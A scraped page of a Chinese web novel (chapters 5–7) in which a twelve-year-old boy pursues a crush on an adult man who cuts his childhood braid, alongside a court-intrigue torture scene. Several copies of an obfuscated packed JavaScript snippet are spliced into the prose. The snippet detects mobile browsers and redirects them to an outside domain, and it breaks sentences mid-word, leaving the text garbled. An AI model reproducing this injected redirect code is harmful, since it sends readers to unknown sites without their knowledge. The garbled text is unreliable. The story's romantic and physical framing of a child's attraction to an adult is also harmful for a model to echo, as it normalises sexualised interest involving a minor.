刚刚发表一番成熟言论的少年正骑在骡背上,和一张比自己脸还大的果丹皮奋斗,脸色狰狞地咬着一角,就连说话声都含含糊糊的,一张小脸憋得通红。 虽然懂的道理不少,但果然还是个半大孩子啊。 文叔慈爱一笑:“是,大少爷果然聪慧过人。” 两人一骡没走出多远,明瑾突然发出一声哀嚎。 文叔吓了一跳,赶忙停下来查看:“少爷怎么了?可是哪里不舒服?” 明瑾捂住嘴巴,含糊道:“没、没什么,刚才颠了一下,咬到舌头了,不打紧。” 待到文叔将信将疑地转过头去,他这才欲哭无泪地放下手。 看着昏暗光线下,掌心里那颗不幸阵亡的门牙,明瑾恨恨地把罪魁祸首——那张比牛皮纸还硬的果丹皮,用力扔到了草丛里。 然后暗暗在心中发誓: 从今天开始,直到门牙重新长好,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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臭气熏天。 还没有牙。 不对。 不对不对不对!!! 这和他想象中的再见一点都不一样! 顷刻间天塌地陷,明瑾羞愤欲死,咬着牙说了一声“抱歉失礼了”,扭头跑进明府的大门,险些把路过的晴儿撞倒。 “少爷?!” 明瑾顾不上理会她惊慌的呼唤,他强忍着鼻子的酸涩,扑到自己屋内的床上,掩耳盗铃地用被子盖住脑袋,放声大哭起来。 这是……这绝对是,他人生中最耻辱的一天! 5. 第 5 章 “臭小子,瞎跑什么?” 文轻尘这次真气得不轻。 送走了那位后,她打定主意要给这小混蛋来顿狠的长长教训,不顾明老爷苦口婆心的劝说,撸起袖子就要闯进卧房。 谁知到了门口,她却猛地停下了脚步。 明敖满头大汗地赶来,圆滚滚的肚子像山羊屁股似的左摇右晃:“哎呦孩子还小不懂事,夫人千万手下留情——” “嘘!” 文轻尘朝他比了个噤声的手势。 接着又招了招手,示意他凑过来听。 明敖扶了扶松垮的腰带,一脸疑惑地走上前,学着她将耳朵贴到了门缝上。 屋内传来一阵哭声,呜呜咽咽,好不凄惨。 就连之前明瑾把满池塘的锦鲤都喂得翻肚皮,被文轻尘按在条凳上揍得屁股开花,都没哭这么伤心过。 文轻尘和明敖交换了一个眼神。 文轻尘用眼神问他:这小子怎么了? 明敖摇了摇头:他也不知道啊。 文轻尘怒视他:你是他爹,怎么能不知道?你怎么当爹的? 明敖默默心想你还是他娘呢。 但他不敢吱声,只好掏出帕子,擦了擦额头上的汗。 ‘要不,我进去问问?’他用口型对自家夫人说。 文轻尘想了想,同意了。 于是明老爷悄悄推开了门。 屋内灯火昏沉,烛影摇曳,帷帐间鼓起了一窝鼓包,随着少年颤抖的啜泣声上下起伏。 知子莫若父,明敖仔细听了一会儿,发现不是平日的干嚎,不仅感情充沛,声调抑扬顿挫,时而还带着上气不接下气的哽咽—— 看来这次是真的伤心了。 于是他加重脚步,刻意咳嗽了一声。 明瑾的哭声戛然而止。 明敖坐到床边上,摸了摸鼓包:“儿子,出什么事了?跟爹讲讲,爹来帮你解决。” 明瑾绝望地在床上蛄蛹了一下,以头抢地。 别管他,他打算拿被子闷死自己。 “……爹,你解决不了。” “你还没说,怎么就知道老爹解决不了?”明敖不乐意了,呯呯拍着厚实的胸脯保证道,“只要是能用钱解决的事,在你爹这儿都不叫事!” 可偏偏这件事用钱解决不了! 明瑾在上课的时候都想好了,自己这么多年也攒下了些压岁钱和零花,虽然不算多,但足够在江南这片贷款买下一座小院子了; 等再过个三五年他长大了,就和心上人一起搬出去住,再置办些家具用品,养只狸奴,简直是神仙日子…… 可是毁了!全毁了!! 他在心上人眼里的形象,他的一些美好的品德,还有他明大少爷的人生和未来,全都在这一刻彻底完蛋了! 想到方才在门口那难堪的一幕,明瑾鼻子一酸,大颗大颗的泪珠子又噼里啪啦地掉了下来。 那人会怎么想他? 会不会觉得他冒失冲动?还是像茅厕里的粑粑一样臭不可闻,根本多看一眼都嫌弃? “哎呦,我的乖乖,怎么哭成这样?” 明敖掀开被子,看到明瑾红.肿的眼眶和鼻头,顿时心疼得脸都皱成了一团。 他把人搂在怀里来了个熊抱,又好生安慰道:“不说就不说吧,乖崽别伤心,要是有人欺负我儿子,你爹我肯定跟他拼命去!” 明瑾被他爹的甜言蜜语哄好了一半。 但他还是别扭,哼哼唧唧着不想说话。 主要是明瑾过不去自己心里这个坎儿。 想他明大少爷前十二年的人生顺风顺水,本以为今后还会一直这么顺下去,谁知却在自己喜欢的人面前栽了这么大一跤,把面子里子全丢干净了。 过了一会儿,他吸了吸鼻子,趴在老爹厚实的肩膀上,小声问道:“爹,你有没有在喜欢的人面前丢过脸?” 明敖了然,原来是因为这个。 “有啊,”明敖说,“你爹我年轻的时候可是风流倜傥的江南大才子,多少小姑娘的梦中情人,谁知道偏偏栽在你娘身上了,哎,现在想想……” 明瑾眯起眼睛:“爹你后悔娶娘了?” “那必定没有!我对你娘一心一意!” 明敖一哆嗦,他可没忘记文轻尘还在屋外面听着呢,得赶紧转移话题,“不过儿啊,你要记住,喜欢一个人,可不是一两天的功夫,你得拿出钻劲儿来,这是水磨工夫。精诚所至,金石为开,懂吗?” 明瑾似懂非懂地点了点头。 “就像我跟你娘一样,你娘年轻那会儿确实是朵带刺的花——咳,当然现在也很漂亮,当时追她的人很多,但你知道为什么只有你爹成功了吗?” 明瑾撇了撇嘴:“因为爹你多财多亿?” “错!大错特错!”明敖连连摇头,“你娘才不是那种肤浅之人,她跟我在一起,第一是被我的才貌双全吸引,第二便是你爹我不但脸皮厚,而且不要脸。” 明瑾:“…………” 他用鄙视的眼神盯着自家老爹: 爹啊,你可真不要脸。 “爹这话的意思不是叫你去骚扰人家,”明敖干咳一声,有些欲盖弥彰地补充道,“是叫你表现出诚意来,喜欢一个人年轻好看的样子,那不叫喜欢,日久天长的相处,什么好的坏的香的臭的都见过了,还是非那人不可,这才叫真正的喜欢。” 明瑾悟了。 “我明白了爹,”他一个大鲤子鱼翻身,猛地坐直身子看向明敖,“我会努力的!” 明敖笑眯眯地看着他,眼睛都被脸上的肉挤成了一条缝:“那就好。对了儿子,偷偷告诉爹,你喜欢的是哪家小姑娘呀?” 明瑾扭捏了一下。 “不是小姑娘,”他低着头,白.嫩嫩的手指头扣着被子上的绣花,小脸染上了淡淡的绯红,“我跟爹一样,也喜欢比自己年纪大的。” 明敖定定地看了他许久。 就在明瑾心中逐渐忐忑之时,他突然大笑出声,用力拍了怕明瑾的肩背:“好,不愧是我儿!” “女大三抱金砖,你娘当初和我在一起的时候,正好比我大三岁,我明敖白手起家,挣得一份家业,终于……” 眼看着明敖又开始忆往昔峥嵘岁月,明瑾赶紧打断他,他可不想再听老爹扯什么父母爱情了,“爹,今天来的那位宁先生,到底是什么人啊?” 明敖停下话头,有些诧异:“嗯,你对他感兴趣?” “娘不都说了,之后让他来替我剪发嘛,”明瑾险些被吓出一身冷汗,佯装镇定地找了个借口说道,“我想那他跟咱们家的关系应当挺亲近的,可之前怎么没听说过这号人?” 顿了顿,他有些慌张地问道:“该不会,是咱们家的亲戚吧?” 明敖脸上的笑容淡了些。 他望向门外如浓墨般化不开的夜色,许久之后,叹了一口气。 “不是,”他说,没注意到旁边的明瑾因此狠狠松了一口气,“他……是我一位故人的儿子,前两年刚回京,因事务繁忙,最近才得空出来拜访亲友。” “原来如此。” 明瑾老成地点了点头,眼神闪烁了一下,又不经意地问道:“那他可有娶妻?” “并无。”明敖说,“他父母亲都走得早,还未来得及安排这些,他自己又无心成家,一来二去的,也就这么耽搁了。” “不过——” 明敖若有所思地摸了摸下巴:“你这倒是提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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明老爷被他晃得头晕,心想这小鬼今天到底是怎么了,一会儿哭一会笑,一会儿又兴奋得跟个蚂蚱似的来回跳,难不成是吃错药了? 哎,养这孩子可真闹腾人啊。 “我就说我也不知道,”他晕乎乎地说道,“还有儿子啊,爹跟你打个商量,你身上这味儿实在太冲了,赶紧去洗洗成不?” 再这么下去,父爱都快被熏完了! 明瑾顿时失望地垂下手。 “爹,你骗我,”他恨恨道,“方才你自己说的,什么好的坏的香的臭的都见过了才叫爱,你看,连人家宁先生都不嫌弃我身上的味道,还知道关心我!你呢?你是我爹,居然还嫌我臭!爹你一点儿也不爱我!” 突然被扣上一顶大帽子的明老爷瞠目结舌: “你……这、我……” “我去洗漱了。”明瑾宣布道。 然后雄赳赳气昂昂地跨出了门。 明敖望着他的背影,大为困惑。 但儿子打起精神了,总归是好事……对吧? 片刻后,一个乱糟糟的脑袋又突然从门口冒出来:“爹,您准备啥时候请人家来给我剪头发呀?” 明敖:“呃,下个月?” 明瑾瘪了瘪嘴,老大不乐意。 “……那就下次旬假的时候?” 明瑾瞬间笑得春暖花开,举起双手欢呼一声,像头小牛犊似的撞进明敖的怀中,还踮脚“吧唧”在老爹脸颊上使劲儿亲了一口。 明敖闷哼一声,险些被这小子撞断了老腰。 没等缓过来,明瑾又丢下一句话,一阵风似的跑了出去: “爹最好了!爱死爹爹了!!” 明敖:“…………” 他咳嗽两声,摸了摸脸颊,无奈地扯了下嘴角: “这臭小子,真是惯的。” 6. 第 6 章 “下次放旬假我就不能跟你们出门了,因为……” “因为你的相好要来明府,是吧?” 在明瑾第十七次提到这个话题时,张牧终于忍无可忍地打断了他。 明瑾小脸一红:“别瞎说,还不是相好呢。” 停顿片刻,他又捂着唇轻咳一声,欲盖弥彰地补充道: “暂时。” 张牧发出一声崩溃的呻吟,倒在了桌案上。 原本上这堂课的先生今日请了假,便改为了自修。 魏金宝早在听完这个消息后,头一个带着书童大摇大摆地翘课了;至于明瑾三人,上次被丁弘毅收拾了一顿,这段时间收敛许多,都还乖乖待在学堂里。 “快来个人把你收了吧!”张牧抓狂道,“我真是,到底是何方神圣让你这么——这么——” 他说不上来,只觉得这几日明瑾像是换了个人。 看了让人想抽。 李司感叹:“可能这就是爱情的力量吧。” 张牧一脸阴沉:“你,闭嘴,吵死了。” 李司还傻乎乎点头:“好的。” 明瑾:“张兄,你别老是欺负老实人——对了李兄,我记得你们家有茶庄的对吧?” 李司老实点头。 “能不能卖我一份茶叶?”那天明老爷的话被明瑾记在了心里,他盘算着,想给宁先生先送一份见面礼略表心意,“新茶就好。” “我送你吧。”李司笑呵呵道。 “他都说了花钱买,你这人冤大头当惯了?傻不傻。” 张牧嗤笑一声,又看向明瑾,“好茶叶可不便宜,上次我老爹搞了点进贡宫里的,一小罐比黄金还贵,明大少爷,你那点儿小金库够用吗?” 明瑾揉了揉鼻子,没好意思开口说实话。 明家虽然有的是钱,但他花钱向来大手大脚,这么多年手里攒下的,相比起爹娘给他的,还真没多少。 用文轻尘的话来说,就是让他管钱,指不定他们一家明年就要睡大街了——怎么会呢!他愤愤不平地想,娘也太看扁他了! 至少、至少也能睡个棚子吧。 他厚着脸皮道:“大不了我先问我爹借点呗。” 张牧摇了摇头:“我还是先帮你打探打探那位宁先生的底细吧,你爹生意做得再大,可也就你这么一个儿子,别被人设套坑了才是。” 明瑾挑眉:“那就多谢了。” 张牧这家伙,虽然平时嘴毒臭毛病也不少,但对待朋友倒是很讲义气。 他的父亲张淼,更是他们三人家族之中,唯一在朝堂有官身的,目前任刑部郎中,正五品,尚且年富力强,未来升迁有望。 明敖让他上云英书院,就是为了给明瑾砸钱铺路,结交人脉。 然而明瑾比较叛逆,只和自己看顺眼的人结交。 诸如魏金宝一类,家里势力再大他也不屑一顾。 但明瑾并不觉得宁先生是那种贪图明家资产的人。 他爹惯会往自己脸上贴金,可那天晚上送别时,明瑾看得清楚,爹娘在宁先生面前的态度可不像什么长辈。 也就是说,宁先生的身份,一定不凡。 怎么说呢…… 不愧是自己喜欢的人! 这才过了几天,明瑾就已经迫不及待地想要再见到对方了。 等下次见面的时候,他心想,自己一定要表现得好一些、乖一些,争取把之前糟糕的形象扭转过来。 带着无处排解的满腹柔情和惆怅心事,明瑾叹了一口气,望向窗外绿叶掩映的海棠。 清风白日,满树繁花风情万种地轻轻摇曳着。 花瓣如细雪般飘落,坐在窗边的少年百无聊赖地努着嘴,顶着细长的笔杆,望向人间的又一载春光。 “唉,春色恼人呐。听说今年的花朝节上可热闹了,可惜这几日公务繁忙,没机会亲身感受。” 幽暗地牢内,同样传出一声悠长叹息。 那名锦衣卫似乎只是随口感叹了两句,很快便收回视线,再度收紧了手中的铁链。 被铁链穿过琵琶骨、吊悬在牢狱中央的囚犯陡然发出一声不似人声的惨叫,染血的链条剧烈震颤起来: “狗官!老夫要见陛——啊啊啊啊!!!” “还不招吗?翻来覆去都是这么一套,我都有些腻味了。” 负责审讯的锦衣卫同知无奈地耸了耸肩,冲着旁边的晏祁歉疚一笑,“这老头是个硬骨头,刑部那边审了三个月都没审出个结果,再这么下去,陛下那边着实不好交代。” 说着,他弯了弯眉眼: “宁王殿下,请吧?” 晏祁淡淡地应了一声。 他抬手,正欲摘下麂皮手套,忽而抬眼。 对方乖觉转身:“那下官就先出去,静候殿下佳音了。” 约莫半个时辰后。 晏祁自地牢深处拾级而上,只带回了薄薄一张黄纸。 锦衣卫使了个眼色,立刻有人将早已准备好的铜盆递上。 晏祁漠然不动,径自站在原地。 直到那小厮躬身行至面前,战战兢兢地将铜盆举过头顶,男人这才屈尊斜乜了他一眼,将染血的修长十指缓缓浸入清水。 淅沥水声响起,丝丝缕缕的鲜红于铜盆之中漾开。 锦衣卫的目光顺势落在晏祁那双筋骨怒张、瘢淤横陈的大手上。 常年刑讯,他一眼就看出,宁王的这双手,从前定是受过重伤。 而且,大概率还是烧伤。 因为只有烧伤后愈合的皮肤,才会出现这样形状诡异的红褐色火焰状疤痕。 他的眼神意味不明地闪烁了一下,从下属手中接过同样血迹斑斑的证词。 只一眼,他便笑了起来。 “不愧是宁王殿下,手段高超,在下叹服。” “刑部上下忙活了几个月,都不如宁王殿下半个时辰管用——冒昧问一句,不知您方才用了何种刑具和手段?也好叫下官学习一番。” 晏祁沉默地用帕子擦净手上最后一滴水珠,在他目光炯炯的视线下,将帕子丢到一旁,重新戴好手套。 “证词已拿到,结案吧。” 没得到满意的答案,锦衣卫砸吧了一下嘴,有些遗憾。 “那里面那位……?” “臣自会禀告陛下,”晏祁淡淡道,“罪臣黄甲,已供认不韪,于狱中畏罪自尽。” 锦衣卫怔了怔,随后眼中划过一道了然。 他行礼道:“那就有劳殿下了。” 晏祁颔首。 两人擦肩而过时,那锦衣卫忽而侧过头,唇边噙着一抹捉摸不透的笑意,“有件事好叫殿下知道:最近京城有人在打探有关殿下的消息,可要下官去替您处理一番?” 晏祁脚步一顿。 “谁?” “刑部郎中,张淼。不知王爷对此人可有印象?” 晏祁不置可否:“随他去吧。” “看来是认识了,”锦衣卫笑道,“下官竟不知,殿下与刑部之人也有交情。” “臣对陛下忠心耿耿,而锦衣卫乃陛下耳目,”晏祁冷淡道,“金同知,做好你该做的事。” 金柳躬身:“下官受教,恭送殿下。” 晏祁不再理会他,径直上了马车。 待马车驶出一段路,车厢内的另一人才低声问道:“这人什么意思?他可是查到了明家?” 嗓音像是被火燎过似的,沙哑嘲哳,雌雄莫辨。 此人腰间别着一把横刀,身形瘦削,坐姿笔挺,戴着一顶黑纱斗笠遮掩面容。 黑纱之下,隐约可见一副金属光泽的狰狞鬼面, 晏祁端坐于摇晃的车厢内,闭目养神。 “那日在瘦湖闹出的动静太大,锦衣卫眼线遍布江南一带,查到些许端倪也是正常。” “那— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171806|180712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —岂不是已经暴露了!?” “那倒未必。” 晏祁睁开双眼。 “金柳此人,手段圆滑,惯会逢场作戏,目前锦衣卫指挥使之位空悬,他身为锦衣卫同知,有再进一步的想法也实属正常。” “所以他是在主动向你示好?” “差不多。否则以锦衣卫的手段,黄甲一开始便不会交由刑部审讯。” “但黄甲还是死在了狱中。” “是啊,”晏祁说,“纵是忠臣,不得不死。” “和太子有关?”蒙面人问道。 “这是陛下给太子的交代。太子被废又立,纵使心中再怨再恨,也不能对着真正下达旨意的陛下发泄,将备受二皇子信赖的黄甲弹劾下狱施以酷刑,不过借题发挥,顺带打压政敌罢了。” 蒙面人点点头:“杀一朝臣,既能平太子怨气,还能借此敲打二皇子,陛下这一手朝堂权衡之术,真是愈发精妙了。” 语气不无讽刺。 晏祁没有回答,只是重新闭上了眼睛。 车厢内寂静片刻,蒙面人再度出声,这次语调柔和了许多,能勉强分辨出是个女子了。 “你见到那孩子了?” “嗯。” “……就不能多说一个字?” “好的。” 蒙面人深吸一口气,决定先不跟他计较这个。 “但我倒是有些好奇,你之前不是说过,尘埃落定前,不想把他牵扯进来吗?为何忽然改变主意了?”蒙面人疑惑道,“难不成,只是因为瘦湖那次见面?” 见晏祁张了张嘴,蒙面人生怕这位又要惜字如金地吐出一两个字来,立刻道:“你不要说话,我来猜,听说那孩子是个性格跳脱活泼的,该不会是他主动缠上你了吧?” 晏祁的眼皮轻跳了一下。 蒙面人惊讶道:“还真是啊?那他知道你的身份吗?” “暂时不知。” 晏祁摇了摇头:“那孩子本性纯善,只是性格稍微冒失冲动了些,上次还因为贪玩差点把命丢掉,有些道理,再不教就晚了。” 蒙面人不以为然:“十一二岁正是顽皮的时候,急什么?” 晏祁淡淡道:“我抱着他回京那年,也就比现在的他大上两岁而已。” 蒙面人不吭声了。 晏祁说这番话,倒不是为了驳斥对方。 他只是想起了那日学堂之中,明瑾和他的同伴缩着头被丁弘毅训斥的场景。 虽然在挨训,但三个少年满脸都写着不服气。 尤其是明瑾。 他甚至还趁丁弘毅没注意,偷偷朝那个出声挑衅他的小鬼吐舌做了个鬼脸。 一看就知道是个刺头。 “但你说的,也不无道理,”他缓缓道,“人不轻狂枉少年,我见他第一眼,就知道这孩子一定是被明家百般呵护长大。” 正因为有家人在背后支撑,他才能长成这般无忧无虑的模样,拥有敢于挑战一切、翻天覆地的勇气。 蒙面人微微皱眉:“难道你觉得,他被明家宠坏了?” “不会,明家家风持正,教不出伤天害理之人。” 晏祁将视线投向窗外,指尖轻轻拨开帘子,凝神望着远处阳光下在街道上嬉戏玩闹的孩童们。 良久,他收回视线。 “更何况,人活一辈子,真正无忧无虑的时光便如这短暂春日,弹指一瞬罢了。” “他迟早会长大,而纵然我曾发誓,会拼尽全力护他一生平安,却也不能担保未来如何。” 晏祁轻叹一声:“若有朝一日你我都不在人世,还须得他自己立得住才是。不过……” “不过什么?” 须臾寂静。 晏祁垂下眼眸,凝视着被自己皮革包裹着的指尖: “不过,你大可放心。”他缓缓道,“只要我还一息尚存,这世间风雨,就落不到他头上去。” 7. 第 7 章 距离宁先生来明府做客,还有整整三天。 明瑾忍痛花出去三十两银子,把自己的小金库掏了个七七.八八,从李司那里买来了一小罐当季春茶,每天在家苦练茶艺。 “第一步,刮沫……” “第二步,搓茶……然后摇香……” “第三步,出海——嘶好烫烫烫烫!出海……出海……” 明老爷眼睁睁看着自己珍藏的极品高山云雾被明瑾这样糟蹋,心疼得一张脸直抽抽。 最后他终于忍不住开口问道:“儿啊,你这是在洗茶杯盖子呢,还是在用沸水洗手呢?” 明瑾小发雷霆:“爹你说什么呢,我这是在练习茶艺!茶艺懂吗?” 明敖心说我懂我懂,但你小子能别霍霍我那些好茶叶了不? “那咱换点儿便宜茶叶练习不成吗?”他嘟嘟囔囔地抱怨道,“你找你同窗买的那一小罐茶叶,价格还不如你老爹这罐的零头呢,实在不行老爹给你一罐吧。” “用自己的钱买的,和老爹你给的,能一样吗?”明瑾义正言辞,“而且要是我平时不用好茶叶练习,关键时刻就会紧张手抖,手一抖,等到时候客人来了,你儿子怎么能撑得起场面?” 明敖肉疼道:“可是儿子你的手现在也在抖啊!” “那是因为太烫了——嗷!” 正说着话,明瑾一分神又被沸水烫到了,茶盖咣当一声撞到杯沿,发出令明敖心惊胆战的清脆声响。 老天爷,这可是他重金淘来的古董茶具! 明老爷心痛得简直无法呼吸,干脆拂袖离开,眼不见为净。 “以往也没见这小子对客人这么重视啊,”走时他还在嘀咕,“难不成,真是因为长大懂事了?” 明瑾耳朵好,在屋里听到了这句话。 虽然都快被沸水烫出心理阴影,但想想心上人马上就能喝到自己亲手泡的茶,他还是咬咬牙,继续坚持了下去。 还有三天,小明,你可以的! 旬假当日。 天刚蒙蒙亮,明瑾便睁开了眼。 在丫鬟们进来替他收拾穿衣前,他先偷偷自己穿戴整齐,跳下床,马不停蹄地准备起来。 明瑾从被褥下面翻出昨晚偷藏的胭脂,点了一点,噘嘴涂在唇上,觉得太红了,又往两边脸蛋上抹了些。 可惜他头一回干这种涂脂抹粉的事儿,下手有点儿没轻没重,眼看着镜子里原本唇红齿白的少年,转眼就变成了血盆大口脸颊通红的鬼娃娃,明瑾瞪着眼睛,一气之下,囫囵全给擦干净了—— 谁说这胭脂好用的?大骗子! 他坐在凳子上,兀自生了一会儿闷气。 眼瞅着外面天就要大亮,赶紧跳起来,对着镜子整整衣领,拍拍褶皱,最后拿帕子把胸前长命锁的每一颗坠铃都擦得锃亮,这才勉强满意。 听到外面隐约传来丫鬟们的说笑声,明瑾长吁一口气,珍惜地摸了摸脑后即将彻底告别的小细辫儿,告诉自己: 不要紧张,旧的不去新的不来。 “旧的不去,新的不来,”但直到吃早饭的时候,明瑾依然在反反复复地喃喃自语,双眼发直,简直像是发了什么癔症似的,“旧的不去,新的不来……” 文轻尘坐在餐桌边,眉头逐渐拧起。 她扭头问明老爷:“你儿这是怎么了?” 明敖放下碗,思索片刻:“可能是舍不得他的小辫儿?毕竟也留了那么多年。况且……” “况且什么?” 明老爷委婉道:“夫人,这也是你儿。” 文轻尘看着明瑾目光呆滞地夹着一根咸菜,半天送不到嘴里的傻乎乎样子,突然有种很不想承认的冲动。 她无奈催促道:“赶紧吃吧,马上人家就来了。” 明瑾一个激灵回过神来。 他立刻神情肃穆地端起碗,在两人目瞪口呆的注视下,梗着脖子,一口气将碗里的粥吨吨吨喝了个干净。 然后他一抹嘴巴,大声道:“我吃好了!我先去门口等着——爹娘你们慢慢吃啊!” 说完就跳下凳子,一溜烟地跑走了。 待他走后,文轻尘沉思道:“你说,他是不是还记得自己两岁以前的事?不然怎么每次一见那位,都兴奋得跟只追着尾巴打圈的叭儿狗似的。” 明敖干笑一声。 “夫人说笑了,那位抱着他来京城的时候,瑾儿还在襁褓里吃奶呢,又不是什么妖孽,怎么可能生而知之。” “这倒也是,”文轻尘叹道,“如今这孩子也大了,若有机会的话,你可以多邀请那位来明家走动走动,就算……他们是那样的关系,多年未见,也容易感情淡薄,还是得好好培养才是。” “夫人说的是。” 明瑾丝毫不知道爹娘三两句话间就把自己卖了,但就算知道,估计他也会第一个跳起来支持文轻尘的提议。 少年正站在明府大门前翘首以盼,一双眼睛死死盯着巷子尽头,就差没望眼欲穿了。 天都大亮了,人人人人怎么还没来呀? 急急急急死他了! 巳时一刻。 熟悉的马车停在了明府门前。 一只手轻撩起晃动的车帘。 明瑾咽了咽唾沫,目光炯炯地注视着前方。 他突然发现,几次见面时,这位宁先生一直戴着一副黑色的麂皮手套。 虽说现在还没到夏天,但几日未曾下雨,白日天光直晒大地,空气中都浮动着燥热的气息。 他难道不热吗? 晏祁刚下车时就感觉到有人在盯着自己。 那视线滚烫火热,像是能把人烧出一个洞来。 他抬头望去,却只看到笑容满面来迎接的明老爷和文夫人。 哦,还有某个低头缩在明老爷身后的小少年。 “宁先生,这就是犬子了,”明敖咳嗽一声,这话他是故意说给明瑾听的,“明瑾,上次见面失礼,宁先生大人大量不与你计较,你个臭小子,还不赶紧上前见礼?” 爹,你怎么哪壶不开提哪壶啊! 明瑾心中哀嚎,但表面上非常乖巧地朝晏祁躬身行礼:“宁先生晨安,上次之事实在抱歉。” 他逼着自己上前一步,努力笑不露齿。 但完全不敢抬头看对方的眼睛。 直到一只大手盖在了他的头顶。 一缕清苦的草药香气随风飘逸而来。 停顿一息后,那只手又在他头顶略带生涩地轻揉了两下。 “小事一桩,不必放在心上。” 明瑾:!!! 头顶些微的重量不值一提,却让他的小脸瞬间爆红。 明瑾在原地呆站了半晌,这才在文轻尘的催促下,像个木头人似的,同手同脚地跟在晏祁和明老爷的身后进了门。 直到他神色僵硬地一屁股坐在大院正中的红木椅上,看见晴儿捧着剪子,笑盈盈地递到他和晏祁的面前,明瑾这才反应过来,方才究竟发生了什么—— 他摸了自己的头! 这一刻,明瑾恨不得昭告天下: 就在刚刚! 他的!心上人!摸了!他的头!!! “快到时辰了,”明老爷一看到自家儿子那呆样就知道不好,在明瑾下意识朝客人露出傻笑前,他赶紧出声提醒这小子别犯浑,“明瑾,快坐好!不许胡闹!” 然后又和颜悦色地问晏祁:“宁先生,还有什么需要吗?” 明瑾也跟着仰起头,望向站在自己身侧的白衣青年。 晏祁摇了摇头:“并无,直接开始吧。” “好,那就麻烦先生了。” 吉时已到。 隆隆鞭炮声中,晏祁拿起盘中缠五色丝的新打金剪,托起了少年垂在身后的细长发尾。 心中蓦地有些怅然: 当初不过短短几寸长的胎发,如今竟也留这么长了。 晏祁想着这些,又不由自嘲: 明明自己也还没到三十,时隔多年,再见到这孩子时,他竟也变得多愁善感起来。 明瑾感觉到脑后的细微动静,觉得后脖颈凉凉的。 为什么宁先生突然停下了? 不知道,但完全不敢动弹。 直到吉时都快过去,明老爷急得都要忍不住开口提醒时,明瑾忽然听到身后传来一道嗓音低沉的念诵: “良辰剃辫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171807|180712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,锦上添花:一剪金辫喜盈门,二剪智慧开天门,三剪……” 三剪本该祝这孩子前程锦绣,大富大贵。 然而晏祁想到自己多年来筹谋之事,忽然觉得,大约没有这个必要了。 若是成功,他自然会托举明瑾坐上那万人之上的位置; 但若是失败…… 明家是他从一开始就为明瑾找到的退路,纵然将来他事败身死,也不会牵连到这孩子。 他依然能继承明家的家业,当一世逍遥自在的富家翁,不必为前程生计担忧。 晏祁思罢,叹道:“这第三剪,便祝你一生平安如意吧。” 话音落下,系着红绳的细辫终于被金剪彻底剪断,落在了铺着红绸的柏木托盘上。 明老爷松了一口气,立刻喜气洋洋地叫人再放了几串炮仗,又邀请晏祁入茶室一叙。 但晏祁婉言谢绝了他的陪同。 “还是让这孩子和我单独聊聊吧。”他说。 明老爷愣了一下,想起之前夫人说的话,立马点头应下,还趁机对明瑾使了个眼色,示意他多日苦练的机会来了。 儿子,看你的了! 明瑾朝他爹丢了个放心的眼神。 两人一前一后走在曲折回廊上。 明瑾舔了舔干燥的唇,内心既高兴又忐忑,还有点儿怒其不争——当然,他怒的是自个儿。 明明是难得的独处机会,自己平日里又一贯伶牙俐齿能说会道,可他在心上人面前,竟然跟个闷葫芦似的,半天憋不出一句话来。 “…………” 无人开口。 沉默。沉默在空气中蔓延。 明瑾低头盯着自己的脚尖,唾弃自己:小明啊小明,你怎么能如此堕落!宁先生来之前定下的追人计划你都忘了吗? 不能再这样下去了! “…………” 沉默继续在空气中蔓延。 明瑾咬了咬牙,刚想硬着头皮开口尬聊两句,突然前面的晏祁停下了脚步,他没及时察觉,险些一头撞在对方身上。 幸好他反应还算快,在最后一刻及时刹住了脚,但宁先生反应更快,直接长臂一伸将他捞进了怀里。 明瑾秒变小结巴: “……宁、宁先生?” “嗯。没事吧?” 听着少年微微发颤的声音,晏祁心情很好地应了一声。 他还以为这孩子是紧张,便主动后撤半步,正打算收回手让明瑾自己站好,突然腰身一紧—— “哎呀,宁先生小心!” 怀中不知何时凑过来一个毛绒绒的脑袋,明瑾仗着自己年纪小能撒娇,故意脚下一扭,像只瞅准了肉骨头的小狗似的,逮住机会就扑了上来。 他把脸埋在宁先生宽大的袖袍里,低头猛吸一口,装作没站稳,将半边身子都靠在了宁先生身上,颇有种碰瓷完就不肯走的小无赖架势。 宁先生的胸好大…… 腰也好细啊,嘿嘿…… 偷袭成功,明瑾心里欢喜得要死。 但表面上的功夫不能不做,否则跟个登徒子似的把人吓跑,那他可就欲哭无泪了。 “对了宁先生,”他一动不动地趴在宁先生怀里,乖巧道,“瘦湖的那件事,我还没来得及跟您说声谢谢。” 闻言,晏祁紧绷的后背缓缓放松下来。 他很不习惯与人这样亲近。 